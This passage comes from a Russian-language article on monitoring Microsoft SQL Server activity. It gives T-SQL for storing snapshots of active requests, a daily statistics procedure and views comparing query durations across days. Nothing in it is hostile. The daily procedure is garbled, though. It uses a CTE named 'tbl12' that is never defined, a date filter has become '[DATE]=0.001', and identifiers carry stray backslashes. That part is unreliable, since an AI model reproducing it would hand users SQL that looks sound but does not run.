,[user_id] ,[connection_id] ,[blocking_session_id] ,[wait_type] ,[wait_time] ,[last_wait_type] ,[wait_resource] ,[open_transaction_count] ,[open_resultset_count] ,[transaction_id] ,[context_info] ,[percent_complete] ,[estimated_completion_time] ,[cpu_time] ,[total_elapsed_time] ,[scheduler_id] ,[task_address] ,[reads] ,[writes] ,[logical_reads] ,[text_size] ,[language] ,[date_format] ,[date_first] ,[quoted_identifier] ,[arithabort] ,[ansi_null_dflt_on] ,[ansi_defaults] ,[ansi_warnings] ,[ansi_padding] ,[ansi_nulls] ,[concat_null_yields_null] ,[transaction_isolation_level] ,[lock_timeout] ,[deadlock_priority] ,[row_count] ,[prev_error] ,[nest_level] ,[granted_query_memory] ,[executing_managed_code] ,[group_id] ,[query_hash] ,[query_plan_hash] ,[most_recent_session_id] ,[connect_time] ,[net_transport] ,[protocol_type] ,[protocol_version] ,[endpoint_id] ,[encrypt_option] ,[auth_scheme] ,[node_affinity] ,[num_reads] ,[num_writes] ,[last_read] ,[last_write] ,[net_packet_size] ,[client_net_address] ,[client_tcp_port] ,[local_net_address] ,[local_tcp_port] ,[parent_connection_id] ,[most_recent_sql_handle] ,[login_time] ,[host_name] ,[program_name] ,[host_process_id] ,[client_version] ,[client_interface_name] ,[security_id] ,[login_name] ,[nt_domain] ,[nt_user_name] ,[memory_usage] ,[total_scheduled_time] ,[last_request_start_time] ,[last_request_end_time] ,[is_user_process] ,[original_security_id] ,[original_login_name] ,[last_successful_logon] ,[last_unsuccessful_logon] ,[unsuccessful_logons] ,[authenticating_database_id] into #ttt from @tbl2 as tt group by [session_id] ,[request_id] ,[start_time] ,[status] ,[command] ,[sql_handle] ,[TSQL] ,[statement_start_offset] ,[statement_end_offset] ,[plan_handle] ,[database_id] ,[user_id] ,[connection_id] ,[blocking_session_id] ,[wait_type] ,[wait_time] ,[last_wait_type] ,[wait_resource] ,[open_transaction_count] ,[open_resultset_count] ,[transaction_id] ,[context_info] ,[percent_complete] ,[estimated_completion_time] ,[cpu_time] ,[total_elapsed_time] ,[scheduler_id] ,[task_address] ,[reads] ,[writes] ,[logical_reads] ,[text_size] ,[language] ,[date_format] ,[date_first] ,[quoted_identifier] ,[arithabort] ,[ansi_null_dflt_on] ,[ansi_defaults] ,[ansi_warnings] ,[ansi_padding] ,[ansi_nulls] ,[concat_null_yields_null] ,[transaction_isolation_level] ,[lock_timeout] ,[deadlock_priority] ,[row_count] ,[prev_error] ,[nest_level] ,[granted_query_memory] ,[executing_managed_code] ,[group_id] ,[query_hash] ,[query_plan_hash] ,[most_recent_session_id] ,[connect_time] ,[net_transport] ,[protocol_type] ,[protocol_version] ,[endpoint_id] ,[encrypt_option] ,[auth_scheme] ,[node_affinity] ,[num_reads] ,[num_writes] ,[last_read] ,[last_write] ,[net_packet_size] ,[client_net_address] ,[client_tcp_port] ,[local_net_address] ,[local_tcp_port] ,[parent_connection_id] ,[most_recent_sql_handle] ,[login_time] ,[host_name] ,[program_name] ,[host_process_id] ,[client_version] ,[client_interface_name] ,[security_id] ,[login_name] ,[nt_domain] ,[nt_user_name] ,[memory_usage] ,[total_scheduled_time] ,[last_request_start_time] ,[last_request_end_time] ,[is_user_process] ,[original_security_id] ,[original_login_name] ,[last_successful_logon] ,[last_unsuccessful_logon] ,[unsuccessful_logons] ,[authenticating_database_id]; UPDATE trg SET trg.[status] =case when (trg.[status]<>'suspended') then coalesce(src.[status] collate DATABASE_DEFAULT, trg.[status] collate DATABASE_DEFAULT) else trg.[status] end --,trg.[command] =coalesce(src.[command] collate DATABASE_DEFAULT, trg.[command] collate DATABASE_DEFAULT) --,trg.[sql_handle] =coalesce(src.[sql_handle] , trg.[sql_handle] ) --,trg.[TSQL] =coalesce(src.[TSQL] collate DATABASE_DEFAULT, trg.[TSQL] collate DATABASE_DEFAULT) ,trg.[statement_start_offset] =coalesce(src.[statement_start_offset] , trg.[statement_start_offset] ) ,trg.[statement_end_offset] =coalesce(src.[statement_end_offset] , trg.[statement_end_offset] ) --,trg.[plan_handle] =coalesce(src.[plan_handle] , trg.[plan_handle] ) --,trg.[QueryPlan] =coalesce(src.[QueryPlan] , trg.[QueryPlan] ) --,trg.[connection_id] =coalesce(src.[connection_id] , trg.[connection_id] ) ,trg.[blocking_session_id] =coalesce(trg.[blocking_session_id] , src.[blocking_session_id] ) ,trg.[wait_type] =coalesce(trg.[wait_type] collate DATABASE_DEFAULT, src.[wait_type] collate DATABASE_DEFAULT) ,trg.[wait_time] =coalesce(src.[wait_time] , trg.[wait_time] ) ,trg.[last_wait_type] =coalesce(src.[last_wait_type] collate DATABASE_DEFAULT, trg.[last_wait_type] collate DATABASE_DEFAULT) ,trg.[wait_resource] =coalesce(src.[wait_resource] collate DATABASE_DEFAULT, trg.[wait_resource] collate DATABASE_DEFAULT) ,trg.[open_transaction_count] =coalesce(src.[open_transaction_count] , trg.[open_transaction_count] ) ,trg.[open_resultset_count] =coalesce(src.[open_resultset_count] , trg.[open_resultset_count] ) --,trg.[transaction_id] =coalesce(src.[transaction_id] , trg.[transaction_id] ) ,trg.[context_info] =coalesce(src.[context_info] , trg.[context_info] ) ,trg.[percent_complete] =coalesce(src.[percent_complete] , trg.[percent_complete] ) ,trg.[estimated_completion_time] =coalesce(src.[estimated_completion_time] , trg.[estimated_completion_time] ) ,trg.[cpu_time] =coalesce(src.[cpu_time] , trg.[cpu_time] ) ,trg.[total_elapsed_time] =coalesce(src.[total_elapsed_time] , trg.[total_elapsed_time] ) ,trg.[scheduler_id] =coalesce(src.[scheduler_id] , trg.[scheduler_id] ) ,trg.[task_address] =coalesce(src.[task_address] , trg.[task_address] ) ,trg.[reads] =coalesce(src.[reads] , trg.[reads] ) ,trg.[writes] =coalesce(src.[writes] , trg.[writes] ) ,trg.[logical_reads] =coalesce(src.[logical_reads] , trg.[logical_reads] ) ,trg.[text_size] =coalesce(src.[text_size] , trg.[text_size] ) ,trg.[language] =coalesce(src.[language] collate DATABASE_DEFAULT, trg.[language] collate DATABASE_DEFAULT) ,trg.[date_format] =coalesce(src.[date_format] , trg.[date_format] ) ,trg.[date_first] =coalesce(src.[date_first] , trg.[date_first] ) ,trg.[quoted_identifier] =coalesce(src.[quoted_identifier] , trg.[quoted_identifier] ) ,trg.[arithabort] =coalesce(src.[arithabort] , trg.[arithabort] ) ,trg.[ansi_null_dflt_on] =coalesce(src.[ansi_null_dflt_on] , trg.[ansi_null_dflt_on] ) ,trg.[ansi_defaults] =coalesce(src.[ansi_defaults] , trg.[ansi_defaults] ) ,trg.[ansi_warnings] =coalesce(src.[ansi_warnings] , trg.[ansi_warnings] ) ,trg.[ansi_padding] =coalesce(src.[ansi_padding] , trg.[ansi_padding] ) ,trg.[ansi_nulls] =coalesce(src.[ansi_nulls] , trg.[ansi_nulls] ) ,trg.[concat_null_yields_null] =coalesce(src.[concat_null_yields_null] , trg.[concat_null_yields_null] ) ,trg.[transaction_isolation_level] =coalesce(src.[transaction_isolation_level] , trg.[transaction_isolation_level] ) ,trg.[lock_timeout] =coalesce(src.[lock_timeout] , trg.[lock_timeout] ) ,trg.[deadlock_priority] =coalesce(src.[deadlock_priority] , trg.[deadlock_priority] ) ,trg.[row_count] =coalesce(src.[row_count] , trg.[row_count] ) ,trg.[prev_error] =coalesce(src.[prev_error] , trg.[prev_error] ) ,trg.[nest_level] =coalesce(src.[nest_level] , trg.[nest_level] ) ,trg.[granted_query_memory] =coalesce(src.[granted_query_memory] , trg.[granted_query_memory] ) ,trg.[executing_managed_code] =coalesce(src.[executing_managed_code] , trg.[executing_managed_code] ) ,trg.[group_id] =coalesce(src.[group_id] , trg.[group_id] ) ,trg.[query_hash] =coalesce(src.[query_hash] , trg.[query_hash] ) ,trg.[query_plan_hash] =coalesce(src.[query_plan_hash] , trg.[query_plan_hash] ) ,trg.[most_recent_session_id] =coalesce(src.[most_recent_session_id] , trg.[most_recent_session_id] ) ,trg.[connect_time] =coalesce(src.[connect_time] , trg.[connect_time] ) ,trg.[net_transport] =coalesce(src.[net_transport] collate DATABASE_DEFAULT, trg.[net_transport] collate DATABASE_DEFAULT) ,trg.[protocol_type] =coalesce(src.[protocol_type] collate DATABASE_DEFAULT, trg.[protocol_type] collate DATABASE_DEFAULT) ,trg.[protocol_version] =coalesce(src.[protocol_version] , trg.[protocol_version] ) ,trg.[endpoint_id] =coalesce(src.[endpoint_id] , trg.[endpoint_id] ) ,trg.[encrypt_option] =coalesce(src.[encrypt_option] collate DATABASE_DEFAULT, trg.[encrypt_option] collate DATABASE_DEFAULT) ,trg.[auth_scheme] =coalesce(src.[auth_scheme] collate DATABASE_DEFAULT, trg.[auth_scheme] collate DATABASE_DEFAULT) ,trg.[node_affinity] =coalesce(src.[node_affinity] , trg.[node_affinity] ) ,trg.[num_reads] =coalesce(src.[num_reads] , trg.[num_reads] ) ,trg.[num_writes] =coalesce(src.[num_writes] , trg.[num_writes] ) ,trg.[last_read] =coalesce(src.[last_read] , trg.[last_read] ) ,trg.[last_write] =coalesce(src.[last_write] , trg.[last_write] ) ,trg.[net_packet_size] =coalesce(src.[net_packet_size] , trg.[net_packet_size] ) ,trg.[client_net_address] =coalesce(src.[client_net_address] collate DATABASE_DEFAULT, trg.[client_net_address] collate DATABASE_DEFAULT) ,trg.[client_tcp_port] =coalesce(src.[client_tcp_port] , trg.[client_tcp_port] ) ,trg.[local_net_address] =coalesce(src.[local_net_address] collate DATABASE_DEFAULT, trg.[local_net_address] collate DATABASE_DEFAULT) ,trg.[local_tcp_port] =coalesce(src.[local_tcp_port] , trg.[local_tcp_port] ) ,trg.[parent_connection_id] =coalesce(src.[parent_connection_id] , trg.[parent_connection_id] ) ,trg.[most_recent_sql_handle] =coalesce(src.[most_recent_sql_handle] , trg.[most_recent_sql_handle] ) ,trg.[login_time] =coalesce(src.[login_time] , trg.[login_time] ) ,trg.[host_name] =coalesce(src.[host_name] collate DATABASE_DEFAULT, trg.[host_name] collate DATABASE_DEFAULT) ,trg.[program_name] =coalesce(src.[program_name] collate DATABASE_DEFAULT, trg.[program_name] collate DATABASE_DEFAULT) ,trg.[host_process_id] =coalesce(src.[host_process_id] , trg.[host_process_id] ) ,trg.[client_version] =coalesce(src.[client_version] , trg.[client_version] ) ,trg.[client_interface_name] =coalesce(src.[client_interface_name] collate DATABASE_DEFAULT, trg.[client_interface_name] collate DATABASE_DEFAULT) ,trg.[security_id] =coalesce(src.[security_id] , trg.[security_id] ) ,trg.[login_name] =coalesce(src.[login_name] collate DATABASE_DEFAULT, trg.[login_name] collate DATABASE_DEFAULT) ,trg.[nt_domain] =coalesce(src.[nt_domain] collate DATABASE_DEFAULT, trg.[nt_domain] collate DATABASE_DEFAULT) ,trg.[nt_user_name] =coalesce(src.[nt_user_name] collate DATABASE_DEFAULT, trg.[nt_user_name] collate DATABASE_DEFAULT) ,trg.[memory_usage] =coalesce(src.[memory_usage] , trg.[memory_usage] ) ,trg.[total_scheduled_time] =coalesce(src.[total_scheduled_time] , trg.[total_scheduled_time] ) ,trg.[last_request_start_time] =coalesce(src.[last_request_start_time] , trg.[last_request_start_time] ) ,trg.[last_request_end_time] =coalesce(src.[last_request_end_time] , trg.[last_request_end_time] ) ,trg.[is_user_process] =coalesce(src.[is_user_process] , trg.[is_user_process] ) ,trg.[original_security_id] =coalesce(src.[original_security_id] , trg.[original_security_id] ) ,trg.[original_login_name] =coalesce(src.[original_login_name] collate DATABASE_DEFAULT, trg.[original_login_name] collate DATABASE_DEFAULT) ,trg.[last_successful_logon] =coalesce(src.[last_successful_logon] , trg.[last_successful_logon] ) ,trg.[last_unsuccessful_logon] =coalesce(src.[last_unsuccessful_logon] , trg.[last_unsuccessful_logon] ) ,trg.[unsuccessful_logons] =coalesce(src.[unsuccessful_logons] , trg.[unsuccessful_logons] ) ,trg.[authenticating_database_id] =coalesce(src.[authenticating_database_id] , trg.[authenticating_database_id] ) from [srv].[RequestStatistics] as trg inner join #ttt as src on (trg.[session_id]=src.[session_id]) and (trg.[request_id]=src.[request_id]) and (trg.[database_id]=src.[database_id]) and (trg.[user_id]=src.[user_id]) and (trg.[start_time]=src.[start_time]) and (trg.[command] collate DATABASE_DEFAULT=src.[command] collate DATABASE_DEFAULT) and ((trg.[sql_handle]=src.[sql_handle] and src.[sql_handle] IS NOT NULL) or (src.[sql_handle] IS NULL)) and ((trg.[plan_handle]=src.[plan_handle] and src.[plan_handle] IS NOT NULL) or (src.[plan_handle] IS NULL)) and (trg.[transaction_id]=src.[transaction_id]) and ((trg.[connection_id]=src.[connection_id] and src.[connection_id] IS NOT NULL) or (src.[connection_id] IS NULL)); UPDATE trg SET trg.[EndRegUTCDate]=GetUTCDate() from [srv].[RequestStatistics] as trg where not exists( select top(1) 1 from #ttt as src where (trg.[session_id]=src.[session_id]) and (trg.[request_id]=src.[request_id]) and (trg.[database_id]=src.[database_id]) and (trg.[user_id]=src.[user_id]) and (trg.[start_time]=src.[start_time]) and (trg.[command] collate DATABASE_DEFAULT=src.[command] collate DATABASE_DEFAULT) and ((trg.[sql_handle]=src.[sql_handle] and src.[sql_handle] IS NOT NULL) or (src.[sql_handle] IS NULL)) and ((trg.[plan_handle]=src.[plan_handle] and src.[plan_handle] IS NOT NULL) or (src.[plan_handle] IS NULL)) and (trg.[transaction_id]=src.[transaction_id]) and ((trg.[connection_id]=src.[connection_id] and src.[connection_id] IS NOT NULL) or (src.[connection_id] IS NULL)) ); INSERT into [srv].[RequestStatistics] ([session_id] ,[request_id] ,[start_time] ,[status] ,[command] ,[sql_handle] --,[TSQL] ,[statement_start_offset] ,[statement_end_offset] ,[plan_handle] --,[QueryPlan] ,[database_id] ,[user_id] ,[connection_id] ,[blocking_session_id] ,[wait_type] ,[wait_time] ,[last_wait_type] ,[wait_resource] ,[open_transaction_count] ,[open_resultset_count] ,[transaction_id] ,[context_info] ,[percent_complete] ,[estimated_completion_time] ,[cpu_time] ,[total_elapsed_time] ,[scheduler_id] ,[task_address] ,[reads] ,[writes] ,[logical_reads] ,[text_size] ,[language] ,[date_format] ,[date_first] ,[quoted_identifier] ,[arithabort] ,[ansi_null_dflt_on] ,[ansi_defaults] ,[ansi_warnings] ,[ansi_padding] ,[ansi_nulls] ,[concat_null_yields_null] ,[transaction_isolation_level] ,[lock_timeout] ,[deadlock_priority] ,[row_count] ,[prev_error] ,[nest_level] ,[granted_query_memory] ,[executing_managed_code] ,[group_id] ,[query_hash] ,[query_plan_hash] ,[most_recent_session_id] ,[connect_time] ,[net_transport] ,[protocol_type] ,[protocol_version] ,[endpoint_id] ,[encrypt_option] ,[auth_scheme] ,[node_affinity] ,[num_reads] ,[num_writes] ,[last_read] ,[last_write] ,[net_packet_size] ,[client_net_address] ,[client_tcp_port] ,[local_net_address] ,[local_tcp_port] ,[parent_connection_id] ,[most_recent_sql_handle] ,[login_time] ,[host_name] ,[program_name] ,[host_process_id] ,[client_version] ,[client_interface_name] ,[security_id] ,[login_name] ,[nt_domain] ,[nt_user_name] ,[memory_usage] ,[total_scheduled_time] ,[last_request_start_time] ,[last_request_end_time] ,[is_user_process] ,[original_security_id] ,[original_login_name] ,[last_successful_logon] ,[last_unsuccessful_logon] ,[unsuccessful_logons] ,[authenticating_database_id]) select src.[session_id] ,src.[request_id] ,src.[start_time] ,src.[status] ,src.[command] ,src.[sql_handle] --,src.[TSQL] ,src.[statement_start_offset] ,src.[statement_end_offset] ,src.[plan_handle] --,src.[QueryPlan] ,src.[database_id] ,src.[user_id] ,src.[connection_id] ,src.[blocking_session_id] ,src.[wait_type] ,src.[wait_time] ,src.[last_wait_type] ,src.[wait_resource] ,src.[open_transaction_count] ,src.[open_resultset_count] ,src.[transaction_id] ,src.[context_info] ,src.[percent_complete] ,src.[estimated_completion_time] ,src.[cpu_time] ,src.[total_elapsed_time] ,src.[scheduler_id] ,src.[task_address] ,src.[reads] ,src.[writes] ,src.[logical_reads] ,src.[text_size] ,src.[language] ,src.[date_format] ,src.[date_first] ,src.[quoted_identifier] ,src.[arithabort] ,src.[ansi_null_dflt_on] ,src.[ansi_defaults] ,src.[ansi_warnings] ,src.[ansi_padding] ,src.[ansi_nulls] ,src.[concat_null_yields_null] ,src.[transaction_isolation_level] ,src.[lock_timeout] ,src.[deadlock_priority] ,src.[row_count] ,src.[prev_error] ,src.[nest_level] ,src.[granted_query_memory] ,src.[executing_managed_code] ,src.[group_id] ,src.[query_hash] ,src.[query_plan_hash] ,src.[most_recent_session_id] ,src.[connect_time] ,src.[net_transport] ,src.[protocol_type] ,src.[protocol_version] ,src.[endpoint_id] ,src.[encrypt_option] ,src.[auth_scheme] ,src.[node_affinity] ,src.[num_reads] ,src.[num_writes] ,src.[last_read] ,src.[last_write] ,src.[net_packet_size] ,src.[client_net_address] ,src.[client_tcp_port] ,src.[local_net_address] ,src.[local_tcp_port] ,src.[parent_connection_id] ,src.[most_recent_sql_handle] ,src.[login_time] ,src.[host_name] ,src.[program_name] ,src.[host_process_id] ,src.[client_version] ,src.[client_interface_name] ,src.[security_id] ,src.[login_name] ,src.[nt_domain] ,src.[nt_user_name] ,src.[memory_usage] ,src.[total_scheduled_time] ,src.[last_request_start_time] ,src.[last_request_end_time] ,src.[is_user_process] ,src.[original_security_id] ,src.[original_login_name] ,src.[last_successful_logon] ,src.[last_unsuccessful_logon] ,src.[unsuccessful_logons] ,src.[authenticating_database_id] from #ttt as src where not exists( select top(1) 1 from [srv].[RequestStatistics] as trg where (trg.[session_id]=src.[session_id]) and (trg.[request_id]=src.[request_id]) and (trg.[database_id]=src.[database_id]) and (trg.[user_id]=src.[user_id]) and (trg.[start_time]=src.[start_time]) and (trg.[command] collate DATABASE_DEFAULT=src.[command] collate DATABASE_DEFAULT) and ((trg.[sql_handle]=src.[sql_handle] and src.[sql_handle] IS NOT NULL) or (src.[sql_handle] IS NULL)) and ((trg.[plan_handle]=src.[plan_handle] and src.[plan_handle] IS NOT NULL) or (src.[plan_handle] IS NULL)) and (trg.[transaction_id]=src.[transaction_id]) and ((trg.[connection_id]=src.[connection_id] and src.[connection_id] IS NOT NULL) or (src.[connection_id] IS NULL)) ); drop table #ttt; END GO ``` Процесс сбора можно автоматизировать. Например, если вызов данной хранимой процедуры поместить в задачу Агента с расписанием (например, каждые 10 секунд) или по событию (например, [Databases].[Active Transactions].[\_Total] > 0). В конце суток делаем общий анализ и результат сохраняем в таблицу через вызов хранимой процедуры. **Реализация таблицы** ``` USE [ИМЯ БД] GO SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER ON GO CREATE TABLE [srv].[IndicatorStatistics]( [execution_count] [bigint] NOT NULL, [max_total_elapsed_timeSec] [decimal](38, 6) NOT NULL, [max_total_elapsed_timeLastSec] [decimal](38, 6) NOT NULL, [DATE] [date] NOT NULL, CONSTRAINT [PK_IndicatorStatistics] PRIMARY KEY CLUSTERED ( [DATE] ASC )WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY] ) ON [PRIMARY] GO ``` **Реализация хранимой процедуры** ``` USE [ИМЯ БД] GO SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER ON GO CREATE PROCEDURE [srv].[AutoStatisticsTimeRequests] AS BEGIN SET NOCOUNT ON; SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED; delete from [srv].[TSQL_DAY_Statistics] where [DATE]<=DateAdd(day,-180,GetUTCDate()); INSERT INTO [srv].[TSQL_DAY_Statistics] ([command] ,[DBName] ,[PlanHandle] ,[SqlHandle] ,[execution_count] ,[min_wait_timeSec] ,[min_estimated_completion_timeSec] ,[min_cpu_timeSec] ,[min_total_elapsed_timeSec] ,[min_lock_timeoutSec] ,[max_wait_timeSec] ,[max_estimated_completion_timeSec] ,[max_cpu_timeSec] ,[max_total_elapsed_timeSec] ,[max_lock_timeoutSec] ,[DATE]) SELECT [command] ,[DBName] ,[plan_handle] ,[sql_handle] ,count(*) as [execution_count] ,min([wait_timeSec]) as [min_wait_timeSec] ,min([estimated_completion_timeSec]) as [min_estimated_completion_timeSec] ,min([cpu_timeSec]) as [min_cpu_timeSec] ,min([total_elapsed_timeSec]) as [min_total_elapsed_timeSec] ,min([lock_timeoutSec]) as [min_lock_timeoutSec] ,max([wait_timeSec]) as [max_wait_timeSec] ,max([estimated_completion_timeSec]) as [max_estimated_completion_timeSec] ,max([cpu_timeSec]) as [max_cpu_timeSec] ,max([total_elapsed_timeSec]) as [max_total_elapsed_timeSec] ,max([lock_timeoutSec]) as [max_lock_timeoutSec] ,cast([InsertUTCDate] as [DATE]) as [DATE] FROM [srv].[vRequestStatistics] with(readuncommitted) where cast([InsertUTCDate] as date) = DateAdd(day,-1,cast(GetUTCDate() as date)) and [command] in ( 'UPDATE', 'TRUNCATE TABLE', 'SET OPTION ON', 'SET COMMAND', 'SELECT INTO', 'SELECT', 'NOP', 'INSERT', 'EXECUTE', 'DELETE', 'DECLARE', 'CONDITIONAL', 'BULK INSERT', 'BEGIN TRY', 'BEGIN CATCH', 'AWAITING COMMAND', 'ASSIGN', 'ALTER TABLE' ) and [database_id] in ( /*список отслеживаемых БД через DB_ID('ИМЯ_БД')*/ ) and [DBName] is not null group by [command] ,[DBName] ,[plan_handle] ,[sql_handle] ,cast([InsertUTCDate] as [DATE]); declare @inddt int=1; ;with tbl11 as ( select [SqlHandle], max([max_total_elapsed_timeSec]) as [max_total_elapsed_timeSec] ,min([max_total_elapsed_timeSec]) as [min_max_total_elapsed_timeSec] ,avg([max_total_elapsed_timeSec]) as [avg_max_total_elapsed_timeSec] ,sum([execution_count]) as [execution_count] from [srv].[TSQL_DAY_Statistics] where [max_total_elapsed_timeSec]>=0.001 and [DATE]=0.001 and [DATE]=cast(DateAdd(day,-@inddt,cast(GetUTCDate() as date)) as date) group by [SqlHandle], [DATE] ) , tbl1\_sum as (select sum([execution\_count]) as [sum\_execution\_count] from tbl11) , tbl1\_total as ( select (select [sum\_execution\_count] from tbl1\_sum) as [execution\_count] , sum(tbl11.[max\_total\_elapsed\_timeSec]\*tbl11.[execution\_count])/(select [sum\_execution\_count] from tbl1\_sum) as [max\_total\_elapsed\_timeSec] , sum(tbl12.[max\_total\_elapsed\_timeSec]\*tbl11.[execution\_count])/(select [sum\_execution\_count] from tbl1\_sum) as [max\_total\_elapsed\_timeLastSec] , tbl12.[DATE] from tbl11 inner join tbl12 on tbl11.[SqlHandle]=tbl12.[SqlHandle] group by tbl12.[DATE] ) INSERT INTO [srv].[IndicatorStatistics] ([DATE] ,[execution\_count] ,[max\_total\_elapsed\_timeSec] ,[max\_total\_elapsed\_timeLastSec] ) select t1.[DATE] ,t1.[execution\_count] ,t1.[max\_total\_elapsed\_timeSec] ,t1.[max\_total\_elapsed\_timeLastSec] from tbl1\_total as t1; declare @dt datetime=DateAdd(day,-2,GetUTCDate()); INSERT INTO [srv].[RequestStatisticsArchive] ([session\_id] ,[request\_id] ,[start\_time] ,[status] ,[command] ,[sql\_handle] ,[statement\_start\_offset] ,[statement\_end\_offset] ,[plan\_handle] ,[database\_id] ,[user\_id] ,[connection\_id] ,[blocking\_session\_id] ,[wait\_type] ,[wait\_time] ,[last\_wait\_type] ,[wait\_resource] ,[open\_transaction\_count] ,[open\_resultset\_count] ,[transaction\_id] ,[context\_info] ,[percent\_complete] ,[estimated\_completion\_time] ,[cpu\_time] ,[total\_elapsed\_time] ,[scheduler\_id] ,[task\_address] ,[reads] ,[writes] ,[logical\_reads] ,[text\_size] ,[language] ,[date\_format] ,[date\_first] ,[quoted\_identifier] ,[arithabort] ,[ansi\_null\_dflt\_on] ,[ansi\_defaults] ,[ansi\_warnings] ,[ansi\_padding] ,[ansi\_nulls] ,[concat\_null\_yields\_null] ,[transaction\_isolation\_level] ,[lock\_timeout] ,[deadlock\_priority] ,[row\_count] ,[prev\_error] ,[nest\_level] ,[granted\_query\_memory] ,[executing\_managed\_code] ,[group\_id] ,[query\_hash] ,[query\_plan\_hash] ,[most\_recent\_session\_id] ,[connect\_time] ,[net\_transport] ,[protocol\_type] ,[protocol\_version] ,[endpoint\_id] ,[encrypt\_option] ,[auth\_scheme] ,[node\_affinity] ,[num\_reads] ,[num\_writes] ,[last\_read] ,[last\_write] ,[net\_packet\_size] ,[client\_net\_address] ,[client\_tcp\_port] ,[local\_net\_address] ,[local\_tcp\_port] ,[parent\_connection\_id] ,[most\_recent\_sql\_handle] ,[login\_time] ,[host\_name] ,[program\_name] ,[host\_process\_id] ,[client\_version] ,[client\_interface\_name] ,[security\_id] ,[login\_name] ,[nt\_domain] ,[nt\_user\_name] ,[memory\_usage] ,[total\_scheduled\_time] ,[last\_request\_start\_time] ,[last\_request\_end\_time] ,[is\_user\_process] ,[original\_security\_id] ,[original\_login\_name] ,[last\_successful\_logon] ,[last\_unsuccessful\_logon] ,[unsuccessful\_logons] ,[authenticating\_database\_id] ,[InsertUTCDate] ,[EndRegUTCDate]) SELECT [session\_id] ,[request\_id] ,[start\_time] ,[status] ,[command] ,[sql\_handle] ,[statement\_start\_offset] ,[statement\_end\_offset] ,[plan\_handle] ,[database\_id] ,[user\_id] ,[connection\_id] ,[blocking\_session\_id] ,[wait\_type] ,[wait\_time] ,[last\_wait\_type] ,[wait\_resource] ,[open\_transaction\_count] ,[open\_resultset\_count] ,[transaction\_id] ,[context\_info] ,[percent\_complete] ,[estimated\_completion\_time] ,[cpu\_time] ,[total\_elapsed\_time] ,[scheduler\_id] ,[task\_address] ,[reads] ,[writes] ,[logical\_reads] ,[text\_size] ,[language] ,[date\_format] ,[date\_first] ,[quoted\_identifier] ,[arithabort] ,[ansi\_null\_dflt\_on] ,[ansi\_defaults] ,[ansi\_warnings] ,[ansi\_padding] ,[ansi\_nulls] ,[concat\_null\_yields\_null] ,[transaction\_isolation\_level] ,[lock\_timeout] ,[deadlock\_priority] ,[row\_count] ,[prev\_error] ,[nest\_level] ,[granted\_query\_memory] ,[executing\_managed\_code] ,[group\_id] ,[query\_hash] ,[query\_plan\_hash] ,[most\_recent\_session\_id] ,[connect\_time] ,[net\_transport] ,[protocol\_type] ,[protocol\_version] ,[endpoint\_id] ,[encrypt\_option] ,[auth\_scheme] ,[node\_affinity] ,[num\_reads] ,[num\_writes] ,[last\_read] ,[last\_write] ,[net\_packet\_size] ,[client\_net\_address] ,[client\_tcp\_port] ,[local\_net\_address] ,[local\_tcp\_port] ,[parent\_connection\_id] ,[most\_recent\_sql\_handle] ,[login\_time] ,[host\_name] ,[program\_name] ,[host\_process\_id] ,[client\_version] ,[client\_interface\_name] ,[security\_id] ,[login\_name] ,[nt\_domain] ,[nt\_user\_name] ,[memory\_usage] ,[total\_scheduled\_time] ,[last\_request\_start\_time] ,[last\_request\_end\_time] ,[is\_user\_process] ,[original\_security\_id] ,[original\_login\_name] ,[last\_successful\_logon] ,[last\_unsuccessful\_logon] ,[unsuccessful\_logons] ,[authenticating\_database\_id] ,[InsertUTCDate] ,[EndRegUTCDate] FROM [srv].[RequestStatistics] where [InsertUTCDate]<=@dt; delete from [srv].[RequestStatistics] where [InsertUTCDate]<=@dt; END GO ``` Как видно из кода, хранимая процедура также чистит таблицу [srv].[RequestStatistics], чтобы предотвратить ее разрастание и обеспечить быстрые вставки снимков активных запросов. Данную хранимую процедуру также можно задать в вызове Агента ежедневно в конце суток. Перейдем теперь к самому анализу собранных данных. Для сравнения текущего состояния СУБД к предыдущему периоду можно использовать следующее представление: **Реализация представления** ``` USE [ИМЯ БД] GO SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER ON GO CREATE view [srv].[vIndicatorStatistics] as SELECT [DATE] ,[execution_count] ,[max_total_elapsed_timeSec] ,[max_total_elapsed_timeLastSec] ,[max_total_elapsed_timeLastSec]-[max_total_elapsed_timeSec] as [DiffSnapshot] ,([max_total_elapsed_timeLastSec]-[max_total_elapsed_timeSec])*100/[max_total_elapsed_timeSec] as [% Snapshot] , case when ([max_total_elapsed_timeLastSec]<[max_total_elapsed_timeSec]) then N'УЛУЧШИЛАСЬ' else case when ([max_total_elapsed_timeLastSec]>[max_total_elapsed_timeSec]) then N'УХУДШИЛАСЬ' else N'НЕ ИЗМЕНИЛАСЬ' end end as 'IndicatorSnapshot' FROM [srv].[IndicatorStatistics] GO ``` Для сравнения текущего состояния СУБД к конкретному дню можно выполнить следующий запрос: **Запрос** ``` with tbl1 as ( select min(total_elapsed_timeSec) as [MIN], max(total_elapsed_timeSec) as [MAX], avg(total_elapsed_timeSec) as [AVG], [sql_handle], count(*) as [Count], '2017-11-01' as [DATE] from [srv].[vRequestStatisticsArchive] where [start_time] between '2017-11-01T07:00:00' and '2017-11-01T21:00:00' group by [sql_handle] ) , tbl2 as ( select min(total_elapsed_timeSec) as [MIN], max(total_elapsed_timeSec) as [MAX], avg(total_elapsed_timeSec) as [AVG], [sql_handle], count(*) as [Count], '2017-11-08' as [DATE] from [srv].[vRequestStatistics] where [start_time] between '2017-11-08T07:00:00' and '2017-11-08T21:00:00' group by [sql_handle] ) select coalesce(tbl1.[sql_handle], tbl2.[sql_handle]) as [sql_handle], coalesce(tbl1.[MIN], 0) as [MIN 01.11.2017], coalesce(tbl2.[MIN], 0) as [MIN 08.11.2017], coalesce(tbl1.[MAX], 0) as [MAX 01.11.2017], coalesce(tbl2.[MAX], 0) as [MAX 08.11.2017], coalesce(tbl1.[AVG], 0) as [AVG 01.11.2017], coalesce(tbl2.[AVG], 0) as [AVG 08.11.2017], coalesce(tbl1.[Count], 0) as [Count 01.11.2017], coalesce(tbl2.[Count], 0) as [Count 08.11.2017] from tbl1 left outer join tbl2 on tbl1.[sql_handle]=tbl2.[sql_handle]; GO ``` Здесь сравнивается работа с 07-00 до 21-00 